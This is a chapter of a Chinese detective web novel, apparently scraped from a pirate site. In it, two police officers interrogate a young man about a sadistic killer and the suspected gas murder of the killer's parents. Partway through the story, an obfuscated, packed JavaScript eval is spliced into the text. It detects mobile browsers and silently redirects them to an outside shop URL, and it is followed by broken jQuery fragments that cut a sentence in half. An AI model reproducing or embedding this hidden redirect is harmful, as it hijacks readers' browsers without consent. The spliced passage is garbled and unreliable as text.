第 28 章 河底沉骨28
    在范小康的叙述里,范大州没有人性暴力残忍六亲不认。

    “他们一开始给他养过宠物,小猫小狗都被他折磨死可他觉得不过瘾差点把同学打死他爸妈可能也管过,打过可他会变本加厉甚至打骂父母。”

    范小康舔舔嘴唇,抬眼看了许天一眼“能给我杯水吗?”

    不等许天说话宁越朝守卫示意,很快有人端了杯凉白开进来。

    范小康一饮而尽,放下杯子突然感叹道:“其实我很羡慕范大州,他命真好整天惹祸他爸妈还对他那么好。而我不只得了脑病,还是个孤儿还被送到这样的人家遭受折磨。”

    许天知道他又在打同情牌,就道:“吴婶子丈夫说范大州小时候非常调皮,自从领养了你之后才变得乖顺起来,也就是说一开始确实如范厂长所愿范大州只把你当做发泄对象,没在外边惹过事?”

    范小康冷笑:“范大州很怕范厂长,他虽然也打过范厂长,但可能没打过吧被他爸教训了。我当时还没去他家都是听他妈妈唠叨的具体情况我也不是很清楚反正范大州很怕他爸不敢在外边惹事还要装成懂事听话的好孩子也是为难他了。”

    宁越问他:“接着说吧你脑瘤意外好了智力水平慢慢恢复接下来呢?你还甘心一直被范大州打骂?”

    “我也不想啊!可是……”范小康斟酌着用词好像怕被人看轻“我从八岁到他家十六岁脑子才变清楚八年啊!我没接触过外人没上过学一直被他折磨要不是范妈常跟我说说话还给了我一个小熊做寄托我可能会变成一个纯粹的傻子。”

    许天忍不住道:“可听你说话不像是没上过学的寄托?纯粹?只上过小学的恐怕都不会这么说话。”

    “没吃过猪肉还没见过猪走吗?他家都是上过学的我经常听他们说话自然就学会了。”

    范小康说着指指胳膊上的伤“你们看到的这些伤绝对不是全部很多伤好了就没了痕迹我好像也习惯了这样的生活哪怕脑子变清楚了都没想过怎么跑只默默听着他们说话默默记着。”

    许天叹口气:“有人做过小白鼠实验在笼子里放上玻璃它多次撞到玻璃上就形成了惯性记忆这时候再撤掉障碍物

    范小康似乎对把他比作小白鼠有些不悦他有些恼怒地说:“我不是小白鼠你们就没有害怕的东西吗?我不只怕范大州还怕范厂长再说我八年没出过门啊我怕外边也都是

    像范大州一样的坏人逃出去又有什么用呢?”

    宁越:“所以呢?你计划如何?”

    范小康摊摊手:“我没计划就是单纯想活下去!后来他爸妈都死了他一个人孤零零的就把我当成了亲人开始带我出去杀人时让我给他做帮手。”

    许天皱眉:“把你当亲人?可你刚才说他六亲不认啊这种反社会人格不可能被亲情束缚更不可能把一直受欺凌的玩具当做亲人。”

    “我不是玩具!是活生生的人啊

    “比如呢?”宁越问。

    “比如他高兴的时候或是跟我说他的梦的时候。”

    范小康突然兴奋起来“你们知道他的梦里都有什么吗?他总是做梦肢解别人或是勒死谁!白天谁得罪了他甚至是家属院里的人在他不喜欢说话的时候跟他打个招呼对他来说都是冒犯。有一次他按着我的眼皮说要摘掉我的眼睛还说学校女同学的眼睛里像春水一样好看具体词儿我不记得了反正就是说那个女同学眼睛好看他想摘下来把玩。”

    许天听得毛骨悚然还好范家兄弟慌乱中露了馅不然范大州一定会找机会实现他的噩梦。

    “他还跟我说过他想把他的数学老师吊到教室吊扇上看风扇会不会把他的头削成一片片他好奇是脑浆先喷出来还是血先喷出来总之他的梦都跟杀人有关。”

    许天想到那两具无名尸骨:“他什么时候开始杀人的?杀的第一个又是谁?”

    范小康眼里闪过一丝笑意不仔细看很难察觉但许天和宁越一直盯着他自然都没错过。

    范小康却以为自己隐藏得很好他苦笑道:“说不上谁是第一个他把他父母都杀了就在同一天晚上。”

    宁越:“你是说范厂长夫妇是范大州杀的?”

    “没错他以为我不知道可我怎么可能不知道呢?自从我脑子好了听力好像也比以前好多了我分辨出范家三口人的脚步声甚至能从他们的脚步声判断他们心情如何每当范大州来时我都能猜出这次是单纯挨打还是要当他的听众听他骂人。”

    许天心中微叹想着十六岁的少年缩在小黑屋里听着范家人的脚步声当施虐者一步步朝他走过来时他会是什么样的心情?

    宁越说得没错那样的处境范小康不想逆来顺受就只能跟范大州一样变成恶魔可这恶魔是范家打造出来的尤其是范厂长和范大州功不可没。

    范小康好像对范家

    夫妇还有点感情,他道:“他们虽然对我不好,但起码给我口饭吃,有时候我会把他妈妈想象成我妈妈,她会给我拿画本来,虽然我看不懂字,但光看画就很开心了。他们死了,我真得很难过,也很害怕,我怕下一个就是我。

    宁越放下笔,“范厂长两口子到底是怎么死的?你有证据能证明是范大州杀的吗?

    “煤气中毒,可烟囱刚弄过,不可能中毒啊,不是他是谁?他之前就嫌范爸范妈总管他,扬言要把他们都宰了。可我就算知道也不敢跟别人说,毕竟大家都觉得他是个孝顺的好儿子,谁会怀疑他呢?再说我怕我也活不成,只能努力巴结他,他说什么我都乖乖去做,哪怕是让我恶心反胃的坏事,我都得去做,因为我只想活命啊。

    许天有些疑惑,确实有制造意外杀人的连环杀手,可以范大州之前的表现来看,他的杀人方式肯定是暴力血腥的,为什么会选择煤气?难道因为这是他父母?他想让他们走得体面一点?

    宁越又问范小康:“也就是说这只是你的猜测,你没有证据能证明这件事对吗?

    范小康舔舔嘴唇,紧张道:“我不知道还有没有,之前我手里有一封信!

    见许天他们都盯着他,他犹豫片刻才说:“其实应该也不算信,就是纸条。我也不知道能不能证明,反正是他妈写的亲笔信,求救信。

    许天愣住:“求救信?

    “没错,那天也不知道因为什么事,他们三个吵起来了,等吵完了,范大州把他爸妈都锁在家里,自己出去玩了。我听见动静过去看,可我也打不开门啊,范妈就写了封信,让我送出去给他们关系好的一户人家,让他们来救人。可我走到门口,根本没法再迈步了。

    他懊恼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352926|140257||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道:“也不怪你们瞧不起我,我确实很没用,一伸手就能开门,可我根本不敢出去。因为范厂长三令五申不让我出门,范妈也一直管着我看着我,不让我见外人。现在想起来真得后悔,如果我把那封信送出去,是不是他们就不会出事了。

    范小康叹口气:“虽然我恨范厂长,但我对范妈真恨不起来,我不想她死。可我也没想到范大州真会对自己亲生父母动手啊。再说我也怕他们是骗我出去,然后再借机打骂我,更怕一开门范大州就从外边回来了,那他肯定会把我打个半死。

    宁越问:“纸条呢?你没送出去?而是保存起来了?

    “我把那张纸条塞进墙缝里,躲回自己房间,开始琢磨这件事,那时候我觉得我脑子好像够用了,可这种事还是觉得怎么也处理不好,

    脑子越乱我越困,就睡着了,第二天再醒过来,才发现范爸范妈都死了!这总不能是巧合吧,范大州为什么要把他们关在房间里?他还说要弄死他们两个,这样就没人再对他指手画脚了,不是他还会是谁?”

    宁越一边记录一边道:“你的意思是说范家父母被锁起来,范妈向你求救?她不知道你从没出过门吗?”

    许天也说:“对啊,八年了,你都没出去过,你怎么会认识跟她家关系好的?你出去了敢说话吗?她怎么可能向你求助?”

    “我也不知道,也许病急乱投医吧,他们夫妻两个都被锁住,家里就我一个活人,他们又见过范大州杀鸡杀狗,毫不留情,自然就怕了,让我去送信。”

    他说着再次叹气:“都怪我太懦弱,可是他们不让我出去的,也是他们一直纵容范大州,我也是受害者啊。”

    宁越打量着他的神色,尽量柔和道:“你放心,没人怪你,但你要如实把当时的事情说清楚才行。你睡一觉起来,人就死了?”

    “对啊,警察来了,范大州才回来,说他昨天上夜班,一直在厂里,于是这事就成了意外。”

    “那张纸条呢?还在墙缝里?”

    “我也不清楚,应该还在吧,那个墙缝很隐蔽,房子后来粉刷过,但谁也不会去掏墙缝,只会补上,我觉得应该能找到。”

    范小康说完,小心翼翼地问宁越:“警察同志,这算不算证据?”

    “如果能找到的话当然算,接着说吧,范爸范妈去世后,你又是怎么说服范大州带你出来的?”

    范小康苦笑:“我哪儿有那本事啊,是他想杀人,可又怕一个人干这事会被抓到,就只能找我当帮手,他一直觉得我是傻子嘛,还是特别听话的傻子。”

    他顿了顿,“我小时候范厂长怕别人发现我经常挨打,给我上过课,他教我碰到外人该说什么不该说什么,还跟我说要是被别人发现,我会很惨。所以范大州对我很放心,他已经打腻了我,又想找女人了,于是就让我当帮手。”

    许天默默在笔录纸上写了两行字,然后碰了碰宁越胳膊肘,示意他看。

    ‘有暴力施虐倾向的反社会人格一般不会用煤气杀人,在范大州眼里范小康不是跟他平等的人类,他肯定不会主动叫范小康当帮手,我怀疑范小康在撒谎。’

    宁越微微点头,范小康绝对有隐瞒,不过没关系,范大州也不是哑巴。

    作者有话要说